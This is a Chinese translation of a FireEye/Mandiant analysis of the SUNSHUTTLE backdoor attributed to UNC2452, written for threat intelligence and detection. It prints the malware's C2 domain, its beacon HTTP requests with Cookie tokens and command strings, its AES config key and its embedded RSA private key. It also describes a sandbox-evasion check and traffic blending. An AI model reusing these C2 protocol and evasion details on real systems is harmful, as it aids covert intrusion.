融合流量以逃避检测:SUNSHUTTLE第二阶段后门样本分析 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

融合流量以逃避检测:SUNSHUTTLE第二阶段后门样本分析

41yf1sh 资讯 2021-04-02 10:02:29
收藏

导语:SUNSHUTTLE使用GO语言编写,支持远程上传配置、文件上传、文件下载、任意命令执行等功能。

0x00 摘要

2020年8月,一家位于美国的实体将一个名为SUNSHUTTLE的新型后门上传到了公共恶意软件存储库。

SUNSHUTTLE是使用GoLang编写的第二阶段后门,包含一些逃避检测的功能。

我们在遭到UNC2452恶意组织入侵的受害者主机上观察到SUNSHUTTLE的存在,因此有迹象表明该恶意软件与UNC2452相关,但我们目前尚未验证该关联性。

在本文附录中包含关于MITER ATT&CK的技术(T1027、T1027.002、T1059.003、T1071.001、T1105、T1140、T1573.001)。

Microsoft在此前的一篇文章中也详细分析了这一系列恶意活动。在这里,我们要感谢Microsoft团队和其他合作伙伴在追踪这一恶意组织期间的出色合作。

0x01 威胁详情

Mandiant Threat Intelligence发现了一个新的后门程序,该后门程序由一家美国实体在2020年8月上传到公共恶意软件存储库,我们将其命名为SUNSHUTTLE。SUNSHUTTLE使用GO语言编写,可读取嵌入式或本地配置文件,并通过HTTPS与硬编码的命令与控制(C2)服务器通信,支持包括远程上传配置、文件上传、文件下载、任意命令执行在内的命令。值得注意的是,SUNSHUTTLE使用Cookie标头将值传递给C2,如果进行了相应配置,则可以从流行网站URL列表中选择来源网址,以实现与网络流量的“融合”。

通过检查SUNSHUTTLE后门文件“Lexicon.exe”(MD5:9466c865f7498a35e4e1a8f48ef1dffd),发现它是使用GoLang编写的。该文件脱壳后的MD5为86e89349fefcbdd9d2c80ca30fa85511。目前我们尚不清楚SUNSHUTTLE最初的感染媒介。该恶意软件是攻陷受害者后投递的第二阶段后门工具。

SUNSHUTTLE样本使用攻击者控制的站点“reyweb[.]com”作为C2。“reyweb[.]com”是通过NameSilo匿名注册的,这家域名提供商接受比特币付款,此前曾经被具有俄罗斯、伊朗等国家背景的APT组织用于C2域名注册。

我们在遭到UNC2452攻击的受害者主机上发现了SUNSHUTTLE,并且有迹象表明该恶意软件与UNC2452相关联,但是我们目前尚未证实该关联性。

0x02 展望与启示

新的SUNSHUTTLE后门是一个复杂的第二阶段后门,其中与C2通信的“融合”流量功能展现了一种简单而优雅的逃避检测技术。

SUNSHUTTLE将作为第二阶段的后门程序,与其他SUNBURST相关工具一起实现网络侦查的功能。

0x03 样本详情

Mandiant Threat Intelligence发现了一个SUNSHUTTLE后门样本,并将其上传到在线多重反病毒扫描服务。SUNSHUTTLE是使用GO语言编写的后门,可读取嵌入式或本地配置文件,并通过HTTPS与硬编码的命令与控制(C2)服务器通信,支持包括远程上传配置、文件上传、文件下载、任意命令执行在内的命令。

Lexicon.exe(MD5:9466c865f7498a35e4e1a8f48ef1dffd)

C2:reyweb[.]com

UNAVAILABLE(MD5:86e89349fefcbdd9d2c80ca30fa85511)

脱壳版本MD5:9466c865f7498a35e4e1a8f48ef1dffd

0x04 感染媒介

针对分析的样本,目前感染媒介尚未明确。

0x05 执行

5.1 执行摘要

SUNSHUTTLE是一个使用GoLang编写的后门程序。一旦SUNSHUTTLE被执行,将会进行以下操作:

1、确定配置设置;

2、向C2请求会话密钥;

3、从C2检索会话密钥;

4、在检索到会话密钥后,SUNSHUTTLE将开始循环请求信标的命令;

5、开始请求信标的命令;

6、解析命令并执行操作。

我们所分析的SUNSHUTTLE样本中,保留了该恶意软件使用的例程的名称,其中包括:


main.request_session_key
main.define_internal_settings
main.send_file_part
main.clean_file
main.send_command_result
main.retrieve_session_key
main.save_internal_settings
main.resolve_command
main.write_file
main.beaconing
main.wget_file
main.fileExists
main.encrypt
main.decrypt
main.random
main.removeBase64Padding
main.addBase64Padding
main.delete_empty
main.Unpad
main.GetMD5Hash
main.Pad

注意:在整个SUNSHUTTLE后门中,通过在Cookie标头中使用唯一的字符串标识符来指示正在执行的操作。同时,唯一的字符串标识符也用于验证和解析来自C2的响应内容。我们发现这些唯一的字符串值在每个编译样本中都是唯一且随机的。

5.2 初始执行

一旦执行后,SUNSHUTTLE后门就会枚举受害者的MAC地址,并将其与硬编码的MAC地址值“c8:27:cc:c2:37:5a”进行比较。如果找到匹配项,后门即退出。该MAC地址可能是Windows沙箱网络适配器的默认MAC地址。

MAC地址检查:

1.png

5.3 配置

如果检查通过,则SUNSHUTTLE后门会进入到一个名为“main_define_internal_settings”的例程,该例程将判断运行SUNSHUTTLE的目录中是否存在配置文件,如果不存在则创建该文件。在我们所分析的样本中,配置文件名是“config.dat.tmp”。使用以下密钥对配置数据进行Base64编码和AES-256加密:

hz8l2fnpvp71ujfy8rht6b0smouvp9k8

在对Base64进行解码、对AES进行解密后,样本的配置文件内容如下:

48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w

在配置中,使用“|”字符进行不同值的区分,简要描述如下。

48b9e25491e088a35105274cae0b9e67

执行期间计算出当前时间戳的MD5哈希值。

5-15

SUNSHUTTLE执行期间随机睡眠时间的最小值和最大值。

0

是否使用“融合”流量请求,内部将其称为“false_requesting”。

0

激活(activation)执行时间戳(默认为0),如果当前时间大于配置中的值,则执行“激活”或继续。

TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
8vMjAxMDAxMDEgRmlyZWZveC83NS4w

HTTP请求中使用Base64编码后的User Agent,解码后内容为:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 。

如果进行了相应配置,则在恶意软件执行过程中会利用以下URL实现流量“融合”:

https://reyweb[.]com/icon.ico
https://reyweb[.]com/icon.png
https://reyweb[.]com/script.js
https://reyweb[.]com/style.css
https://reyweb[.]com/css/style.css
https://reyweb[.]com/css/bootstrap.css
https://reyweb[.]com/scripts/jquery.js
https://reyweb[.]com/scripts/bootstrap.js
https://cdn.mxpnl[.]com/
https://cdn.google[.]com/
https://cdn.jquery[.]com/
https://code.jquery[.]com/
https://cdn.cloudflare[.]com/

5.4 会话密钥机制

SUNSHUTTLE执行对C2的初始请求,以请求并检索其内部称为“会话密钥”(Session Key)的内容。在从C2检索到会话密钥后,使用嵌入在SUNSHUTTLE中的以下私钥进行RSA解密,该密钥针对每个编译版本来说都是唯一的。我们正在分析该恶意软件如何利用解密后得到的会话密钥,不过在SUNSHUTTLE的命令与控制例程中,该密钥很可能是用于加密内容的会话密钥。

-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
-----END PRIVATE KEY---

在创建配置或从中读取配置后,SUNSHUTTLE将进入到名为“main_request_session_key”的例程。恶意软件将在这一例程上进行循环,每次循环后休眠一段时间,直到成功为止。

在“main_request_session_key”例程中,SUNSHUTTLE为其构造的C2构造一个HTTPS请求。根据请求的HTTP 200响应,预期来自C2的响应数据中不应包含以下字符串:

ywQdjLuHHC

如果该字符串不在响应中,则request_session_key例程返回1。如果该字符串包含在响应之中,则返回-1。如果request_session_key的结果为1,则SUNSHUTTLE将执行retrieve_session_key例程。

retrieve_session_key例程将再次与C2通信,并下载特定加密内容,使用上述嵌入的私钥进行解密。一旦SUNSHUTTLE进入到命令与控制例程,解密的内容很可能是用于加密内容的会话密钥。

5.5 命令

在从C2检索到会话密钥后,SUNSHUTTLE将在循环中启动信标和“resolve_command”例程。SUNSHUTTLE首先发出信标以检索命令。随后,它将进入到例程“resolve_command”之中,该例程将解析响应内容,从而确定应该运行哪个命令。可以使用的命令包括远程更新配置、上传、下载和任意命令执行。

解析命令示意图:

2.png

在“main_beaconing”例程之后,会对从C2返回的内容进行Base64解码和AES解密。这里会执行一次检查,以确认解密后的内容不包含以下字符串:

Cp5RTQ31R1

同之前的一样,这些字符串可能针对每个样本都是唯一的,并且在编译时会随机生成。

解密后的字符串内容及解析如下:

zSsP2TSJJm3a    更新睡眠时间范围并保存配置

aQJmWJzXdYK721mGBI3U    更新“false_requesting”(融合)值并保存配置

W5VYP9Iu2uyHK    更新C2 URL和用户代理并保存配置

3487wD9t2OZkvqdwRpqPeE    将当前时间戳发送到C2

ubFxROBRwfswVRWNjLC    更新配置中的“activation”时间戳并保存配置

TMuhGdA9EHY    如果文件存在,将其上传到C2

1kG4NaRX83BCMgLo38Bjq    执行命令,如果成功则返回“EXECED”

hB0upT6CUmdRaR2KVBvxrJ    执行命令,返回结果或输出

N/A(符合其他字符串条件)    提供终端命令执行

N/A(符合其他字符串条件)    从C2下载文件

0x06 投放文件

在成功执行恶意软件后,会将以下文件投递到受害者的系统中:

该文件是加密后的配置文件。

0x07 持久化方法

我们未观察到SUNSHUTTLE恶意软件具有任何持久化方法。不排除该恶意活动是在SUNSHUTTLE外部设置持久性的。

0x08 网络通信

SUNSHUTTLE使用Cookie标头将值传递给C2。此外,恶意软件会从下面的列表中选择一个来源地址。在我们解密流量并进行检查时,可能会被混淆。

www.bing.com

www.yahoo.com

www.google.com

www.facebook.com

Cookie标头根据所执行的操作而略有不同。下面是从“request_session_key”例程向C2发出的示例请求。

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip

在Cookie标头中,其不同值含义如下。

HjELmFxKJc=48b9e25491e088a35105274cae0b9e67

配置中包含的时间戳MD5。

P5hCrabkKf=gZLXIeKI

“P5hCrabkKf=”包含一个唯一的字符串,该字符串表示正在执行请求的例程(详细参考下表)。

iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx

“i4zICToyI70Yeidf1f7rWjm5foKX2Usx”是在SUNSHUTTLE后门中硬编码的值,它可能表示Payload标识符。

b7XCoFSvs1YRW=78

含义不明,此值仅包含在request_session_key和retrieve_session_key请求中。

如上所述,每个请求中包含的Cookie值“P5hCrabkKf=”都表示正在执行的操作,其对应关系如下。

gZLXIeK    main_request_session_key

do1KiqzhQ    main_clean_file

t5UITQ2PdFg5    main_wget_file

cIHiqD5p4da6OeB    main_retrieve_session_key

xpjQVt3bJzWuv    main_send_file_part

S4rgG1WifHU    main_send_command_result

在成功安装/初始化恶意软件后,它将继续通过TCP/443 HTTPS对C2服务器reyweb[.]com进行以下回调:

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.yahoo.com
Accept-Encoding: gzip

此外,如果将“fake_requesting”配置值设置为1,则SUNSHUTTLE将生成与真实流量相融合的流量。这些请求的示例如下:

(受害者主机到C2)

GET /icon.png HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到合法站点)

GET / HTTP/1.1
Host: cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip

0x09 附录:MITRE ATT&CK框架

T1027 混淆的文件或信息

T1027.002 软件加壳

T1059.003 Windows命令Shell

T1071.001 网络协议

T1105 入口工具转移

T1140 反混淆/解码文件或信息

T1573.001 对称密码学

0x0A 附录:检测技术

FireEye安全解决方案可以提供跨电子邮件、终端和网络级别的SUNSHUTTLE恶意活动检测。以下是与恶意软件相关的检测指标。

· 平台:网络安全、邮件安全、实时检测、恶意软件文件扫描、恶意软件文件存储扫描

· 检测名称:

FE_APT_Backdoor_Win64_SUNSHUTTLE_1

FE_APT_Backdoor_Win_SUNSHUTTLE_1

APT.Backdoor.Win.SUNSHUTTLE

APT.Backdoor.Win.SUNSHUTTLE.MVX

· 平台:终端安全

· 检测名称:

恶意软件防护(AV/MG)

Trojan.GenericKD.34453763

Generic.mg.9466c865f7498a35

本文翻译自:https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论